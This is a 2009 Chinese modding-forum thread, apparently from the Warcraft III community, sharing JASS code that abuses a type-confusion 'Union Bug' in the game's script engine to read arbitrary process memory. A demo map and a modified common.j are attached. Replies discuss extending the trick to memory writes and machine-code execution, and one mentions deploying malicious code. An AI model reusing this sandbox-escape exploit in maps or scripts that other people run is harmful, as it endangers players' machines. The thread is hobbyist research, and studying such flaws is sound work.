找回密码
 点一下
查看: 9246|回复: 18

单独的利用Jass漏洞实现直接内存读取的演示~~

[复制链接]
发表于 2009-5-1 10:28:06 | 显示全部楼层 |阅读模式
看来很多人对那个漏洞导致的内存读取很有兴趣~~甚至超过了执行2进制机器码这一功能~~于是我就发了这个~~


这个是头目仿造那个俄国人的itest写的~~精简了他许多代码~~我本来以为Win7 X64下弄这个东西可能有问题~~结果似乎还挺正常的~~


这个演示是用纯Jass实现的~~并没有Hook任何API或者挂载dll也没有用汇编~~

可以指定任何内存地址然后将其值读出~~当然并非所以内存都可读~~无权读取的自然读取不了~~


核心代码及注释:
[jass]
function ArrayHacker takes nothing returns nothing
    local trigger t=CreateTrigger()
    local integer udg_UnionInteger
    local code udg_BreakOffCode=(function ToBeBreakOff)
    set udg_UnionInteger=udg_UnionInteger+1       //Union Bug,将udg_BreakOffCode指向函数ToBeBreakOff(在common.j中定义)的后一位。
    call TriggerAddAction(t, udg_BreakOffCode)   
    call TriggerExecute(t)
    call DestroyTrigger(t)
endfunction

function AllReader_Init takes nothing returns nothing
    set Offset= 0x2114D008 //Offiset 在Common.j中定义,用于控制Read[]的偏移,改变此值可以令Read[]指向内存中不同位置,而0x2114D008正好能使Read[]指向地址0
    call ArrayHacker()
endfunction

function AllReader_Release takes nothing returns nothing
    set Offset= 0x0   //恢复Read[]的指向的地址为正常位置,否则你将在地图退出后收到一个非法操作。
    call ArrayHacker()
endfunction

function ReadMemoryByAddress takes integer addr returns integer
    local integer index=addr/4  //将内存地址换算成Integer数组的索引
    local integer MValue=0  //中介,用于保存读出的数据。因为在本函数结束后,Read[]数组指向的位置会还原。
    call AllReader_Init()  //这个函数用于将Read[]数组指向0地址位。
    set MValue=Reader[index]    //内存读取
    call AllReader_Release()  //这个函数用于将Read[]指向的地址位复原,否则你会在退出地图的时候非法操作
    return MValue
endfunction
[/jass]


当然还得导入一个Common.j否则以上函数毫无意义~~见附件~~

第一个附件是演示地图,第二个附件是其中的common.j~~想要将这个功能引入你自己地图的话只要导入那个common.j然后将上面的那些函数复制到你自定义函数区就可以了。哦对了别忘记声明BreakOffCode和UnionInteger这两个用于实现Union Bug的全局变量~~


演示的用法是~~进入地图后输入任何一个内存地址(注意用10进制)~~地图上就会显示该地址所存储的值~~当然需要是有读取权限的地址~~否则就导致非法操作~~所以输入地址前请三思~~


补充个图片~~

无标题.jpg

MemReader.w3x

46 KB, 下载次数: 210

演示地图

common.rar

17 KB, 下载次数: 194

Common.j

发表于 2009-5-1 10:36:18 | 显示全部楼层
下一步就是如何部署恶意代码;
回复

使用道具 举报

发表于 2009-5-1 10:39:20 | 显示全部楼层
下一步就是我被恶意代码弄得重装电脑了。
回复

使用道具 举报

 楼主| 发表于 2009-5-1 10:47:52 | 显示全部楼层
补个图片吧~~
回复

使用道具 举报

发表于 2009-5-1 10:53:45 | 显示全部楼层
搜索0x6f000000
如果有MZ字样表明成功
经我测试成功 然后按照相应偏移读取game.dll
:D
回复

使用道具 举报

 楼主| 发表于 2009-5-1 10:56:29 | 显示全部楼层
其实稍作修改就可以实现写入~~我这就做个例子而已~~
回复

使用道具 举报

 楼主| 发表于 2009-5-1 11:16:37 | 显示全部楼层
移动去综合区~~水渠就留个连接吧~~
回复

使用道具 举报

发表于 2009-5-1 19:20:37 | 显示全部楼层
头目可不可以详细解释一下,那些global的定义方式是不是有什么特别用意,为什么要分开交叉定义,array Reader的数据是如何指向的,Offset有和具体含义
回复

使用道具 举报

发表于 2009-5-1 19:47:47 | 显示全部楼层
hmmmm...

其实没看懂是怎么实现的。

除了读写内存,能否call 函数?毕竟很多地址是需要调用函数得到的,以及解保护内存也是函数
回复

使用道具 举报

发表于 2009-5-1 22:00:04 | 显示全部楼层
头目啊1
给个
内存里搜索值的地址
的演示吧。。。。。
回复

使用道具 举报

发表于 2009-5-2 14:56:23 | 显示全部楼层
用个dll载入才是正统做法呀
回复

使用道具 举报

发表于 2009-5-2 15:41:45 | 显示全部楼层
尴尬了。。。看不懂

将udg_BreakOffCode指向函数ToBeBreakOff(在common.j中定义)的后一位。

后一位运行的效果是什么呢。。?
似乎把上面的变量全都移位了的样子。
回复

使用道具 举报

发表于 2009-5-4 14:50:03 | 显示全部楼层
下来学习下`
回复

使用道具 举报

发表于 2009-5-4 18:50:20 | 显示全部楼层
……哎……等哪天有时间了……再来仔细研究吧……
希望能和thewisp1搞个War3网游出来…………
回复

使用道具 举报

发表于 2009-5-7 09:06:22 | 显示全部楼层
itest里的执行2进制机器码,貌似就是利用了内存读写........
回复

使用道具 举报

发表于 2009-5-8 00:50:30 | 显示全部楼层
引用第14楼actboy168于2009-05-07 09:06发表的 :
itest里的执行2进制机器码,貌似就是利用了内存读写........

是就是 因为可以读写魔兽内存了
查找内存可以找到相关指令
回复

使用道具 举报

发表于 2009-5-8 07:26:16 | 显示全部楼层
看不懂~~
回复

使用道具 举报

发表于 2009-5-18 14:49:22 | 显示全部楼层
果然很厉害。。。
回复

使用道具 举报

发表于 2012-3-27 18:35:51 | 显示全部楼层
我想问题下...这个是不是在1.24里面不能用了啊...压根无法读图来着...
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 点一下

本版积分规则

Archiver|移动端|小黑屋|地精研究院

GMT+8, 2024-4-26 15:43 , Processed in 0.085857 second(s), 21 queries .

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表